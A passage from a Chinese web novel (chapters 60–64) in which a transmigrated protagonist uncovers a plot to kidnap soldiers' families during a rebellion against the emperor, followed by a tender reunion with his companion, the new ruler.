而看后面的信息,皇帝反而更加确定他对萧靖昭的猜测是对的,自从萧靖昭跟了姜淮,这一靠着姜淮就被卫轩注意到,然后被对方提携入了军营,甚至还将本来属于姜淮的功劳给夺了过来,足见此人心性。
但偏偏,皇帝就是喜欢这种心性,有欲.望才能被他所掌握啊,也不用担心此人会因为一些所谓的恩情而对卫家和姜淮心软。
经过之前一遭,皇帝很清楚,只靠外来的力量,大概是很难清除掉卫轩的,哪怕卫家被他搞得只剩下了卫轩,可偏偏卫轩就是最难缠的,想到卫轩立下的那些战功,皇帝面皮就是一抽。
这上天真是太厚爱卫家了,之前如此大好的局面,居然也能被卫家翻盘。
原本他是想让苏家取代卫家的势力,可苏家的问题被逼着暴露出来,哪怕他几次缓和,可苏家也是彻底地衰败下去,想要用苏家取代卫家谈何容易。
更别说,继后是苏家人,他好不容易弄掉了卫家的势力,莫不是还要去扶持一个苏家。
想到皇后前段时间的闹腾,皇帝眉头紧皱,决定彻底放弃苏家,他之前还有些舍不得苏家闯出的局面,有些犹豫,可现在看来,苏家确实不合适。
而去掉苏家的话,最好就是选一个定安卫内部的人,让这个人来去掉卫轩,这才是最好的选择。
皇帝一直在考虑这个人选,将定安卫内有名有姓的将领都看了一圈,但是都不合适,要么就是卫家的死忠,哪怕他给出足够的诱饵,对方都不一定会心动,或者会心动的,又担心养虎为患。
毕竟这个取代卫家的人要够强,但是又不能完全脱离他的掌控,不然他折腾来折腾去,岂不是为他人作嫁衣。
之前一直没有合适的人选,萧靖昭的出现则是让皇帝看到了希望。
一个有野心,身上却也带着污点,出身又卑贱的人,正是合适的人选。
萧靖昭背后没有势力靠山,想要往上爬,那就需要有人来做靠山,而皇帝岂不就是这最好的靠山,更何况因为姜淮的关系,对方在卫轩那边也会受些重用,两只手都往他身上推,想不往上爬都难。
至于说对方爬上去后会不会反水,皇帝冷笑,只要对方收了自己的好处,这就是一个天大的把柄,他爬得越高,这个把柄的威胁就越大,皇帝不担心对方敢反水。
皇帝的想法其实也没有错,但凡萧靖昭的身份换一下,那问题都非常大,哪怕他提前说开了,可等到后面,其他人还是会对他有所怀疑,这种怀疑是很难改变的。
但问题在萧靖昭的真实身份,卫轩不可能怀疑他,其他人就算产生怀疑,等那时候萧靖昭身份一公布,也没有人信萧靖昭会投向皇帝这一边,皇帝只会落一个竹篮打水一场空。
60-70
第61章 第 61 章
时间一天天地过去, 气温越来越高,身上的裘服也换成了轻薄的纱衣。
姜淮这些天并不怎么能看到萧靖昭,至于原因, 姜淮也了解到了点,似乎京都那边有了变故,这变故甚至影响到了安远府, 萧靖昭也就更忙了。
姜淮算了算时间, 距离原文中说过的起兵造反似乎也不远了。
虽然按理说不是这个时候,但是姜淮能感受到那种紧张的气氛, 尽管其他人都尽量不在他面前表现, 可光看看账册, 都能看出其中的变化。
造反这件事姜淮一直记着, 也知道造反到底代表了什么, 可直到这一刻,姜淮才意识到, 造反并不是他想象中那么轻松, 尽管原文中这一切发生得都很快,也很顺利, 可当真到了这一步,姜淮也不自觉紧张起来, 因为他重视的人也会参与这一场战争。
太子登基的结果,姜淮觉得不会有什么变化,可萧靖昭的安危呢?
原文没有记录过魏西这个名字,可能是因为原身在路上病逝, 以至于魏西没有抵达安远府, 自然也就不会留下来,也可能是对方留下来了, 也立下战功,但是在造反时丧命。
姜淮觉得如果是后者,萧靖昭孤身一人,没有他,可能和卫轩的关系就是单纯的上下级关系,之后自然也没有什么人想起他,自然也就不会在原文中留下姓名。
这两个猜测,每种都有可能,这让姜淮无比的焦虑,有时都恨不得让萧靖昭不要参与这件事了,对方的战功已经很多。
可每次这个想法涌上心头,姜淮的理智就告诉他,不可能。
如果萧靖昭这次退缩,以后在军中就彻底抬不起头来,也几乎没有前途可言,就算卫轩如今和萧靖昭关系不错,可在这种紧要关头退缩,那会是一辈子的污点。
尽管心中焦虑不安,可面对萧靖昭偶然一次回来,姜淮还是将他心中的焦躁压下,一切照常,只是多出了一个习惯,喜欢紧紧攥住萧靖昭的手,多一些肢体接触。
萧靖昭就算一开始还不明白姜淮为什么这么黏他,可多黏几次,也能体会到姜淮的心情。
姜淮是在担心。
萧靖昭说不出安慰的话,尽管他有自信,这一路不会有多少危险,可战场瞬息万变,意外的事谁也说不准,而且张口保证也只能安慰一时,除非事情结束,不然姜淮只能一直这样的担心。
可看到姜淮这样的担心,萧靖昭也不想让他太担心,绞尽脑汁地想着他身边有多少保护,之前做了多少准备,除非出现什么大意外,不然他不可能出事。
为了让姜淮能相信他的安全,萧靖昭也顾不得这么说会不会暴露他的情况,毕竟一个武将身边有这么多保护是过于奇怪。
不过姜淮这次也是被紧张冲昏了头脑,听到萧靖昭的解释只感觉对方的安危有了些保障,除非是运气差到了极点,不然不至于出事,而且就算出事,也不至于丢命,顶多就是受伤。
……
等到出兵清君侧的消息传到姜府,姜淮的心情异常的平静,毕竟等这天,他都等了很久,现在只需要等结果了。
只是这种平静维持了几天,就很快维持不下去了,因着出兵的事,姜家的生意也受到了一点影响,但是影响并不大。
因为商队贩卖销售的大宗货物对普通百姓来说都可以算是奢侈品,普通百姓很少会买,买的都是各地的富贵之家,尽管这几年在皇帝的折腾下,百姓苦了不少,可这些人家受到的影响却不是很大,该大肆花钱还是大肆花钱。
哪怕此时起了战事,一时间也没有什么太多的影响。
各种杂乱的消息源源不断地传来,有说战事极其顺利,势如破竹,也有说战事艰难。
几年的时间虽然让定安卫壮大,可京都屯兵也不算少,更何况各地州府也有士兵,哪怕这人数算不得多,可也是些阻碍。
姜淮都不知道这些消息哪些是真,哪些是假,消息纷扰,而从萧靖昭传回来的信来看,战事似乎很是顺利。
只是到底是真顺利,还是萧靖昭不想让他担心,就不得而知了。
好在,姜淮还有另一个消息渠道,这几年组建的商队足迹遍布天下,虽然了解不到异常具体的消息,可一些表面的消息还在源源不断地往回传。
姜淮对于战事的了解不多,但是他清楚,如果战事处于僵持阶段,周围的商业会有什么表现,看到传回的各种消息,姜淮分析完,松了口气。
或许战事不算特别的轻松,但也不是他想象的那么紧张。
战事顺利,唯一让人忧虑的就是萧靖昭了。
“公子要是担忧,不如去拜拜佛,这城外有一座寺庙还算灵验。”杜大夫给姜淮日常把脉,发现姜淮心中的焦虑,知道这样下去对姜淮的身体不好,建议道。
去佛寺拜一拜这个建议姜淮还是头一次听到,虽然不一定有用,但是自己都穿越了,去拜一拜应该……
姜淮有了一瞬的心动,但是很快,姜淮又想到一桩事,他这可是穿书,虽然说穿书的世界待了几年,姜淮觉得和正常世界也没有什么区别,可那是之前没什么事,现在可是紧要关头,万一会出意外呢?
姜淮随便一想,就能想到一些可能出现的意外,比如去寺庙拜佛被劫。
不只是因为穿书而这么猜想,还因为萧靖昭离开前将姜府护成了铁桶,并且让他出门时尽量带足人手。
虽然萧靖昭没有明说,可姜淮能从这些话里听出他可能遇到危险,以往定安卫护着安远府,自然是安宁一片,可现在大军开拔,安远府内的军队少了,万一有异动,救援的速度可绝对没有往日快。
姜淮可不希望萧靖昭在前方拼杀,他在后面出事,然后影响前线。
尽管这种可能性不高,可万一呢,小心驶得万年船。
“算了,还是不出去。”姜淮摇摇头,拒绝了杜大夫的提议,“我还是喝点安神的药吧。”
放平时,姜淮是绝对不会喝药的,但是他现在的焦虑确实影响到了健康,萧靖昭若是知道了这件事,肯定会受到影响。
至于说瞒着……
姜淮瞥了眼门外的守卫,这是前段时间刚调过来的,姜淮知道,除了用来保护他,大概也是要将他的近况传给萧靖昭,他的情况根本就瞒不住。
也就是这次,姜淮发现萧靖昭的掌控欲异常浓,只不过以往之所以没有表现出来,不过是因为他只靠自己,就可以知道姜淮是什么情况,可现在离开的时间太长了,萧靖昭没有办法,只能靠手下的人来得到姜淮的消息。
这种掌控欲姜淮不算太排斥,毕竟这些亲卫虽然会传递他的消息,但是这些消息也是他愿意传递出去才能传递,当然,身体状况除外。
杜大夫没想到姜淮居然情愿喝药了,思忖片刻,建议道:“是药三分毒,公子若是想用别的办法安神,可以练字作画,都能舒缓心绪。”
练字画画?
姜淮虽然也不是很感兴趣,但是比起喝药来,那还是这些更能让他接受,主要是姜淮觉得自己这种焦虑状态,在萧靖昭彻底安全下来前都会持续,这要是天天喝安神的汤药,光想想就觉得没有什么劲头了。
刚好趁着这段时间练练字。
姜淮点点头,刚准备叫杜大夫下去,忽然想到一件事,开口问:“杜大夫,你是从哪听说这寺庙灵验的?”
姜淮记得以往杜大夫好像不爱烧香拜佛的,怎么会突然提这么一嘴,姜淮本来也不想这么敏.感,只是现在是紧要关头,一点不对劲都要打起十二分的注意来。
杜大夫愣了一下,很快反应过来,意识到了什么,赶紧解释起来,杜大夫是意外听一个外院的小厮说起这事,因为灵验,甚至有好几个下人也跟着去拜了拜,听说确实灵验了,这才让杜大夫印象深刻。
尽管这个灵验可能只是巧合,可后来又听说一些担忧军中将士情况的人也去这佛寺拜拜,把脉了解到姜淮的情况后,杜大夫才提出这个建议。
虽然听着都是巧合,但是姜淮还是吩咐下去,让人多调查一下,不要冤枉人,但是也不能太大咧咧的忽略危险。
很快,消息就调查出来了,其他下人倒是没有什么问题,可最开始说寺庙如何灵验的小厮情况就不太对了,对方身上藏着一些银子,而这银子数目显然不是他能攒下来的。
姜淮没说话,直接将人送到了府衙,卫轩离开了,孟原就暂时在府衙处理政务,收到姜淮送来的人后,经过几天的调查,发现了小厮身后的人。
尽管对方很谨慎,可也没有想到这个棋子才动一步,就被姜淮发现了蛛丝马迹,加上他们一直在盯着姜府,这才这么容易被抓住了。
而他们这么做的原因也很简单,就是想抓住姜淮威胁萧靖昭。
第62章 第 62 章
“抓我……威胁魏西?”姜淮听完孟原说的理由, 半天才反应过来,对这些人的想法有些无语。
姜淮也不是看低自己在萧靖昭心中的地位,可就算自己被抓了, 可等消息传过去,再等这些人将目的传到萧靖昭耳中,其中必然需要一段时间。
如果这些人是想让萧靖昭暗中做什么, 可这时候他被抓的消息, 其他人,譬如卫轩肯定知道了, 卫轩应该也能看出他们之间的感情, 那萧靖昭就算真的被他们逼着想做什么, 有卫轩在, 也做不了什么。
可以说, 这事要真让他们做成了,那也就是姜淮倒霉, 最差的情况下, 姜淮可能会送命。
想到这点,姜淮有些庆幸, 还好他发现了不对劲之后没有忽略,不然按照这些人的行动, 一计不成又成一计,敌暗我明,就算不被他们绑走,他还真可能被这些人伤到。
“还好及时发现, 不然后果不堪设想。”孟原也是长出口气。
“?”姜淮虽然自信, 但是不自恋,他被抓是会有一番动荡, 但是也没有孟原说得这么厉害吧。
“这些人布了这个局,可不是为了抓公子一人。”孟原解释道,原来那个灵验的寺庙之所以会有这个名声出现,就是这些人在暗地里动手脚。
预备着等一些人被说动了,然后出城去拜佛求平安的时候,将这些人抓住。
“这些人?”姜淮犹豫。
孟原报出几个名字,有跟着出兵的武将妻儿,母亲,基本都是家里的老弱,最是容易被这些说法影响,这要是被抓了,就算是那些武将都不受胁迫,可也会留下隐患。
孟原虽然没有妻儿被说动,可出了这么一桩大案,他难辞其咎,毕竟要不是他不注意,怎么会出这个事,以后也基本没有什么前途可言了,毕竟这些女眷一旦被抓走,一旦不起作用后,会是什么下场可想而知。
姜淮抽气,他没想到这事居然藏了这么多,姜淮回忆了下原文,原文倒是没有说这些,姜淮也不知道发没发生过,可看孟原懊恼的态度,姜淮怀疑原文中可能发生过这种事。
“藏在暗处的人都抓住了吗?”姜淮有些担心,本来以为抓了这么多人,应该没有什么问题,可意识到这些人的危险性,姜淮就忍不住多想了,“会不会有漏网之鱼?”
“调查的时间还短,有没有漏网之鱼不好说。”孟原摇头,虽然他们顺藤摸瓜抓了一堆人,可审讯的时间还短,也可能有些人藏在暗处没有联系过他们,自然也不可能被牵出来。
“不如,你到府衙或者军营暂住一段时间,等危险过去再离开。”孟原想来想去,要说安全的话,府衙或者军营,这两处算是安远府最安全的地方了。
姜淮摇了摇头,孟原觉得这两处地方安全是因为他对府衙和军营都很是熟悉,可他又算不得多熟,万一身边有人行动不对劲,他还看不出来,这次之所以能察觉出不对劲,也是因为杜大夫的话有点突兀。
这要是在府衙或者军营,有人过来说谁谁找他,或者去哪里见人,他可能就反应不过来了。
而以萧靖昭留下的护卫数目,除非来的是一支精锐小队,不然不可能潜入姜府,更别说绑走姜淮了。
所以姜淮想来想去,还是觉得待在姜府最安全。
孟原本来想劝一下姜淮的,可也被姜淮的话给说服了,因为府衙和军营虽然护卫众多,可要保护的人也多,姜淮在其中,哪怕是最重要的那个,可一旦生乱,也有可能被人忽视了。
可在姜府,所有人的注意力都会放在姜淮身上,而且因为姜府人少,就算被有心人弄出什么乱子来,也影响不到姜淮。
“那我再多派些人在姜家附近巡逻。”孟原也给加了一重保障,姜家的护卫已经够多了,再加新人进去,一来相处可能不太和谐,反而容易惹出事端,二来就是孟原担心自己挑的人有问题。
而派人在姜家附近巡逻,可以避免暗处的人成群结队出现在姜家附近,而人数少了,就算他们还能在姜家附近,可姜家的护卫又不是吃素的。
面对这个保护,姜淮没有拒绝。
很快,孟原就安排好了巡逻的人,只是姜淮这边的事让孟原长叹一声,虽然不愿意用这件事去打扰前线,可孟原清楚,他不说,就算姜淮也想瞒着,可这事终归是会暴露的。
甚至如果现在不说,万一藏在后面的人还想用这事兴风作浪呢。
一封信让孟原写了快一个时辰,才勉强完成。
很快,萧靖昭就收到了孟原传来的信,原本因为一路进展顺利而舒展的眉眼瞬间冻结,卫轩一进帐,就感受到气氛不对劲。
“安远府那边是传来什么消息了吗?”卫轩低声问。
“有些人想要动些不入流的手段。”萧靖昭眼神冰冷,尽管信上还没有调查出幕后人是谁,可萧靖昭太清楚了,能做出这种事的人除了皇帝,还能有谁。
“他还是和之前一样,正面无法击溃敌人,就想从暗处使手段。”
卫轩赶紧拿起信看了一眼,看到有人想要绑走姜淮威胁萧靖昭,甚至是要绑走其他武将的女眷,直接倒抽一口凉气,好在后面,孟原很快就将现在的情况说清楚了,卫轩才松了口气,庆幸姜淮提前发现了这个问题。
不然,要是军中武将的女眷被人抓走,都不用这些人说,卫轩都能知道是用来威胁武将的。
尽管对大局可能影响不大,可这些武将心中当真不会有怨气,这点怨气若是不能消解开,等萧靖昭登基就埋下了隐患。
还好,如今这事算是解决了大半,这些人之所以能行动的如此顺利,也是因为一直在暗中,没人发现他们的行动,一旦到了光明处,就掀不起什么风浪了。
不过想到萧靖昭说的话,卫轩抬头,萧靖昭就这么确定是皇帝的行动吗?
虽然卫轩知道能这么做的人大概就是皇帝,可这手段……
“陛下……他会如此没有心机?”卫轩不太明白。
这个手段是很无耻,但是要说作用有多大,那也算不上,皇帝有精力做这个,为何不在安远府做点别的事呢。
“他知道那点人做不了什么,目的就是恶心我们。”萧靖昭垂眸,以皇帝的心思,就算真让这些人行动,也不会觉得靠杀掉一些女眷能起什么作用,可他还是安排人这么做了,就是想着哪怕自己不能得利,可也要让他们难受。
只是再多的冷静,在看到皇帝试图将姜淮的存在抹去时,萧靖昭也有些冷静不下来了。
“之前我们想的,还要再改一改。”萧靖昭看向卫轩。
“……”卫轩听懂了萧靖昭的意思,沉默了一瞬,可想到皇帝做的事,还是点点头。
本来对于皇帝,为了不让这场造反说出去太难听,或者说为了稳固天下,对皇帝的处理还是稍显温和一些,尽管只是一些很表面的功夫。
可现在,这种表面的温和也不想保留了。
只不过这样一来,萧靖昭的名声怕是……
卫轩想到自己先前还在为姜淮的身后名担忧,可现在看来,萧靖昭的身后名才是真完蛋了。
“踏上这条路,还有什么身后名可说吗?”萧靖昭出声,眼眸淡漠,卫轩才意识到自己将心底的担忧说了出来。
“已经不需要考虑这个了。”萧靖昭说着,看卫轩情绪有些低落,想了想道,“只要之后将大周治理好,海内承平,就算青史如何书写,也无法抹去这些功绩。”
这是萧靖昭和姜淮闲聊时听到的,姜淮对于过往君王的态度非常简单,谁把国家治理得好,姜淮就认为这是个好君王,不管他是如何上位的,可一个君王若是文治武功,没一样能行,就算史书将这位君王描述的如何好,可姜淮依旧轻视对方,这种透彻的态度也影响到了萧靖昭。
虽然在逃出京都时,萧靖昭知道自己要报复回去,对于未来也有些认知,可说到底,他从小学的君臣父子,对他还是有一定的压制的,可和姜淮在一起久了,姜淮对于造反的态度有些过于冷静,也让萧靖昭渐渐明了造反意味着什么,让他将心中对于造反的一点心理包袱彻底抛下。
不像是他想象中的如何沉重可怕,可也不是轻飘飘的报复。
至于说还有没有人揪着这点黑他,萧靖昭已经不考虑了,做得再好的君王,随着时间推移,也少不了被人说嘴。
卫轩感觉自己有点被说服了,最主要的是,如果萧靖昭不在意的话,那皇帝确实不需要太善待了,尽管为了大局,卫轩可以忍一忍,可想到卫家如今的情况,想到被皇帝害死的卫铮,卫轩还是希望皇帝能感受一下他之前的痛苦。
很快,皇帝派人做的事就在军中传开了,武将听到消息后先是后怕,再接着就是愤怒了,原本还有些不安,可现在,只想让皇帝为此付出代价。
第63章 第 63 章
待在府上的日子过得很快, 哪怕只是待在姜府没有出门,可姜淮也感觉到形势的变化。
一开始,安远府还是处在焦躁紧张的气氛下, 可随着前线的好消息越来越多,安远府的气氛也越来越淡然起来,甚至一些迟迟没有来的客商都重新回来了。
他们之前没来是怕被牵连, 毕竟安远府的生意好做是好做, 可不少生意官府都有参与,如今起兵, 谁知道会不会受影响, 他们只是家中有些钱财, 可不敢掺和进这样的大事, 可现在眼看着事情尘埃落定, 而卫家所在的一方会是获胜方,自然也就敢来了, 哪怕不是想要从龙之功, 可也想要锦上添花一番。
甚至不少人都后悔,之前没有和安远府这边紧密合作, 不然如今说不得就能顺势帮点忙,这等太子登基, 他们也能有些好处。
太子的存在终于没有再隐瞒下去了,得知这个消息,不管是哪方人马,都是震惊万分, 或者说, 表面都要演一演震惊。
在不了解内情的人看来,太子的出现有些奇妙, 仿佛是话本里的故事一般,不少人私下议论纷纷。
姜淮听了一些议论,发现大众的脑洞真的很大,虽然有些猜测得比较离谱,怀疑太子是有冤屈,然后死而复生,再如何如何,可去掉一些玄幻色彩,居然将皇帝和太子的事猜了个七七八八的。
不过他们不了解真相,哪怕猜测到了真相,也只是将这个猜测视作寻常,并没有再多想。
时间一天天地过去,定安卫入京的消息前脚传来,太子入驻皇宫的消息后脚也跟着传来,顺便跟着来的还有一封信,萧靖昭已经将府邸备好了,就等着姜淮过去验收。
……
“距京都还有多远?”姜淮躺在马车上歇息,脸色有些苍白。
他实在是没有想到,当年流放的时候,一路从京都走到安远府,哪怕路上辛苦,可还是挣扎着到了,结果现在从安远府回京,坐着马车反而难受的吃不消,不得不让马车的行进速度慢下来,时不时的还要在客栈歇息。
其实马车和之前相比,已经改进过震动的问题,只是姜淮的身体对这种摇摇晃晃的前行方式有些吃不消。
可要是骑马,这么远的距离,骑马也颠簸无比,甚至会磨破大.腿,毕竟姜淮以前从来没有骑马走过这么远。
以前,姜淮还想着到时候四处走走,游山玩水,可现在走了这么一路,姜淮已经彻底躺平,不打算四处玩了。
古代的交通方式,出行手段,对他来说都有些吃不消。
“还有六十里。”车夫回道。
“六十?”姜淮探头看了眼天,如今天色还算早,如果赶一赶路,或许可以在关城门前抵达京都,可是想到赶车时马车的颠簸,姜淮忍住想吐的欲.望,又重新倒了回去,抱着枕头捂住脑袋。
“赶慢些,今日还是找个客栈歇息吧。”
姜淮一声吩咐下去,整个车队的速度又慢了些许,徐徐前行。
宫内,萧靖昭飞快地处理着奏折,如今他除了一个登基大典还没有举行,身份已经和皇帝无异了。
既然是皇帝了,那这些政务自然就要他来处理。
由于老皇帝将朝堂弄的一团乱,导致萧靖昭一接手,就差点被繁琐的政务给砸晕,每日只能睡两个时辰,就得开始处理政务,不然都根本忙不过来。
好在这些天,萧靖昭将一些文官武将提拔上来,将一些官员撤掉,才算是将朝堂的大致框架给构建起来了,让他可以多休息一会。
“淮儿是不是要到京都了?”萧靖昭批阅完一批奏折,出声问道。
“公子已经抵达了万石镇,歇息一晚,明日抵达京都。”暗处有人回道。
“万石镇?”萧靖昭对京都附近的城镇都了解,一听就知道这万石镇在哪里,距京都不过三十里,而如今……
萧靖昭瞥了眼窗外,日头虽然已经微微偏斜,可要是加快点速度,姜淮应该能抵达京都,而今不愿意,萧靖昭想到先前传回来的消息,有些忧心。
虽然传回来的消息中,姜淮只是有些不适应马车,所以走得慢了些,可今天这个路程,显然太慢了些。
萧靖昭看了看桌案上的奏折,已经不多了,若是处理完这些,他或许能去看看姜淮。
毕竟三十里的路程,若是坐马车慢慢前进,看着可能远点,但是骑马的话,一个时辰绰绰有余了。
一旦产生了这个念头,萧靖昭就有点克制不住自己,他已经很长时间没有和姜淮见面了,况且等姜淮抵达京都后,他的身份就再也没有办法瞒着姜淮了,萧靖昭也不知道姜淮会如何看待这件事。
只不过要出京去,这件事还是要和卫轩说一声。
卫轩被喊过来的时候还不明所以,而听完萧靖昭的话,彻底地蒙了。
不过这熟悉的懵逼感倒是让卫轩感觉到一丝说不出来的安心,抵达京都后,尤其是处理完先帝的事,卫轩就能感觉到萧靖昭似乎处于一种很微妙的状态中,随着萧靖昭不断处理朝政,对方似乎在逐渐变成一个称职的皇帝。
这对于臣子来说是个安心的转变,可对于卫轩来说,这种变化让他有些不太能适应。
如果萧靖昭之前也是这样的,卫轩不会有什么不适应,可偏偏萧靖昭因为姜淮的存在,在安远府时,卫轩看到的都是他更偏人性化的一面,再在京都看到萧靖昭的变化时,就有些不太能接受,会感知到其中的区别。
而现在,姜淮的消息又再次让萧靖昭的转化逆转过来,这让卫轩心中下意识松了口气。
只是萧靖昭的想法又着实让卫轩头痛起来,虽说如今京都已经清扫干净,萧靖昭已经彻底掌控住了京都,可萧靖昭在皇宫的安全有保障,不代表对方去万石镇也能保障安危。
万一有什么漏网之鱼呢?
只是拒绝的话刚到嘴边,卫轩看着萧靖昭的神情,又将这话咽了回去,默默思忖一番,将后续事务都接了过来。
萧靖昭当然也在意自己的安危,他太清楚现在有多少人想要他的命,只不过,他太想去看看姜淮,顺势,也可以钓钓鱼。
……
姜淮安详的躺在床上,明明都已经从马车上下来,但整个人还像是在晃动的小船上,摇摇晃晃的,晕头晕脑。
姜淮没忍不住干呕了几声,眼泪都要出来了。
“再也不坐这么久的马车了。”姜淮两眼发直,他低估了马车的威力,最开始可能是因为身体还能支撑,坐马车哪怕难受,在客栈休息一晚也就好了,可现在,哪怕休息,第二天也恢复不了精力,现在的身体状态是越来越差。
唯一让姜淮庆幸的是,他马上就要到京都,不出意外,只要他不主动离开,大概这辈子都不用出京都了。
姜淮晕晕乎乎的躺着,没有发现客栈一下子安静了许多,只听到门外的脚步声,推门而进的声音,随着脚步声越走越近,姜淮以为是随行的小厮过来喊他用饭,毕竟他一到客栈就躺下了,迷迷糊糊睁开眼睛,就看到一张俊美又熟悉的脸。
姜淮眨了眨眼睛,已经自己因为晕车出现了幻觉,然而睁眼闭眼,再睁眼闭眼,眼前的脸依旧没有出现任何变化,甚至还因为凑近,能听到对方轻浅的呼吸,看清对方颤动的睫毛。
姜淮下意识伸手捏了下来人的脸,入手有点滑,还有点暖和。
好像不是幻觉……
“过来让我抱一下。”姜淮眨了眨眼睛,他不想问萧靖昭是怎么知道他到了万石镇,又是怎么找过来的,只想和对方多亲近一番。
萧靖昭愣了一瞬,然后飞快地陪着姜淮躺了下来。
姜淮紧紧抱住萧靖昭,闻到对方身上带着丝丝的香味,姜淮对香味不了解,但是这种有些浓郁沉重的香气倒是不太符合他的喜好。
好在,这香气只是在外袍上,而萧靖昭的身上倒是没有这个香气。
姜淮巴拉开外袍,将脸埋了进去,萧靖昭被他这一系列举动惊的一动也不敢动。
“放松,绷着不累吗?”姜淮感觉到身下的肌肉是紧绷着的,嘟囔着安抚道。
萧靖昭努力的放松下来,感觉心口暖呼呼的,静静的等了一会,就发现姜淮似乎是又睡着了。
萧靖昭定定地看着姜淮,和他印象中比,姜淮又瘦了一些,不知道是不是因为赶路。
哪怕人睡着了,对于不喜欢的香味,姜淮还是有些厌恶,将脑袋越埋越紧,萧靖昭的外袍都快被他给扒了下来。
萧靖昭就算开始不明白,可看着姜淮梦里的动作,也反应过来了,闻闻外袍上熏染的香气,萧靖昭皱了皱眉,以往在宫中忙于政务,他都忘了这事,姜淮喜欢的是浅淡的清香,而这沉郁的香气姜淮不喜欢,甚至说会晕香。
虽然姜淮压着他,萧靖昭不好脱衣服,但是想将衣服弄走,也不只有脱掉一个办法。
萧靖昭让人拿来剪刀,直接将身上的衣服剪开再扯掉。
第64章 第 64 章
排斥的香气彻底消失, 姜淮将萧靖昭抱的更紧了些,这种结实的触碰萧靖昭很久没有感受到了。
萧靖昭反手揽住姜淮,轻轻地给姜淮按了会头, 看着姜淮微微皱着的眉头舒展开,唇角不自觉翘起。
萧靖昭本来只想看着姜淮,等着姜淮醒来, 可躺在床榻上, 困倦之意涌了上来,这些天他睡的时间太短了, 在宫里, 萧靖昭完全不能安心地休息, 并不是他没有掌控住皇宫, 只是发自心底的不安。
而在姜淮身边, 对周身的不安得到了安抚,萧靖昭闭上眼, 沉沉睡去。
只是就算在睡觉, 萧靖昭依旧紧紧抱住了姜淮。
再次从睡梦中醒来,姜淮感觉头晕昏沉的疲倦感也消退了大半, 身边有什么东西紧紧束缚着他,姜淮脑子还不太清醒, 下意识蹭了蹭,伸手摸了下,入手温热又结实,还有点弹性。
姜淮睁开眼, 看到自己的手到底在摸什么, 脸瞬间通红,闪电般收回了手。
睡得熟并不影响萧靖昭的警惕, 在姜淮清醒的时候,萧靖昭就已经醒了,只是他不太想睁眼,只想再多抱一会姜淮。
而这一装,当姜淮摸到他胸口上,萧靖昭忽地想起少年时意外见过的春宫图,浑身的肌肉都不自觉紧绷起来。
姜淮心怦怦直跳,小心地瞥了眼萧靖昭,眼睛紧闭,似乎还在睡梦中,他刚才的动作似乎没有惊醒萧靖昭。
姜淮猛地松口气,这要是被萧靖昭发现,可太尴尬了,尽管两人已经有点互通心意,可终究是没有戳破那层窗户纸。
半躺着缓了一会,发现萧靖昭还在睡觉,一直没有醒来,姜淮探头,仔细地看向萧靖昭。
和先前比,萧靖昭似乎是累了不少,眼底都带着青黑,显然是没有好好休息,怪不得现在都没有醒。
姜淮记得萧靖昭以往很警敏,有点风吹草动就会从睡梦中惊醒,他刚才那样都没让萧靖昭醒,也不知道这段时间做了多少事。
萧靖昭感觉姜淮的目光像是有温度的似的,在他的眉眼间停留,再顺着鼻梁往下滑,落到唇上,再落到脖子上,最后落在胸口。
萧靖昭有些后悔装睡了,这种实质般的目光让人有些难熬。
姜淮看着萧靖昭身上结实的肌肉有些蠢蠢欲动,他倒是跟着萧靖昭练过武,可那是为了自保,而后来就不怎么练了,自然,也没有练出什么肌肉。
可萧靖昭不太一样,对方身上的肌肉不是健身的那种大块肌肉,但是极为匀称,肌肉线条流畅优美,蕴藏力量,以往这些肌肉都是藏着衣物下,哪怕姜淮之前和萧靖昭关系亲密,两人也没有这种半坦诚相见的机会。
要是萧靖昭人清醒着,姜淮就算有什么小心思,可也不会在这个时候行动,但现在萧靖昭不是还睡着,姜淮就有点想要摸一摸。
“摸一下应该没什么吧。”姜淮几乎都可以想象出来,要是萧靖昭醒了,他肯定不好意思这么要求,当然,就算开口了,都可以想象那种羞涩感,但是现在嘛……
摸什么?
萧靖昭还在思考,就感觉胸口一沉,大脑一片空白,只能感觉到姜淮似乎对他的身体很好奇,但是又怕惊醒他,只用手指试探性地碰一碰。
姜淮就像是找到了新玩具一样,摸摸碰碰,新鲜感上来,胆子也大了起来。
萧靖昭备受煎熬,他不敢太紧绷着身体,会被姜淮发现他没有睡着,可这种接触想要装作睡着了,难度可想而知,尤其是姜淮越摸越下,曾经看过的春宫图出现在脑海里,尽管知道姜淮不会如此胆大,可再往下,就要瞒不住,也控制不住了。
姜淮摸着结实的腹肌,只感觉手感绝佳,忍不住多摸了几下,忽然,一只手从旁蹿出,一把攥住了他作乱的手。
姜淮顺着手的方向看去,一双漆黑的眼眸中似乎蕴含火焰,正紧紧盯着他看。
萧靖昭好像被他闹醒了!
等会儿,他刚才在做什么?
姜淮看着自己还放在萧靖昭腹肌上的手,甚至因为萧靖昭抓住了他手,他想迅速收回手,装作什么都没有发生都做不到,这就是人赃并获了。
姜淮手指不自觉颤动了下。
萧靖昭嘶的抽了口气,眼神更加深沉了些。
姜淮脸上涨红,恨不得时间倒退回睡觉前,睡醒的时候摸一下胸口算什么,当时还可以说是不清醒,可现在……
姜淮都不敢想萧靖昭到底是什么醒的,如果是刚刚醒还好,可要是在他刚开始摸的时候就醒了,姜淮只恨脚下没有一条缝,不能让他钻进去,突发色心,刚有点小动作还被喜欢的人发现了,他什么脸都丢完了。
“你,你先休息,我去看看客栈有没有什么饭菜。”姜淮起身就准备开溜,起码先给各自一个缓和心情的时间。
然后还不等姜淮下床,萧靖昭已经一把拦住了他:“你再歇一会,想吃什么吩咐下去,让他们送上来就好。”
“咳咳,怕不符合口味,我再去看看。”姜淮找借口。
萧靖昭轻笑出声,起身拉住姜淮,声音低沉中带着丝委屈:“你是不是想吃了就赖账?”
“不是……”姜淮一个激灵,感觉自己这一系列行动确实有点容易让人误会,猛地转头,就看到萧靖昭满眼笑意地看着他,才意识到他上当了。
“你想摸就摸,摸多久都可以。”萧靖昭握住姜淮的手朝自己的胸口按上去,眼眸含情。
“你……”姜淮感受着手下跳动的心脏,以及润滑的肌肤,憋了半天道,“你在京都是不是学坏了?”
姜淮敢肯定,萧靖昭在安远府绝对没有这么放纵的时刻,或许不能叫放纵,可这和萧靖昭之前的性格差别也太大了吧。
“你喜欢吗?”萧靖昭含笑道。
姜淮说不出话来,他要是不喜欢的话,也不会在刚才被吸引,然后蠢蠢欲动地就行动了。
姜淮怀疑自己有皮肤饥.渴症,因为回忆往昔,姜淮发现自己还挺喜欢人亲密接触,只是在现代的时候,哪怕关系好,可亲人朋友之间的接触也不会太多,至于情侣,他还没有和谁交往过,怎么可能有机会和人亲密接触。
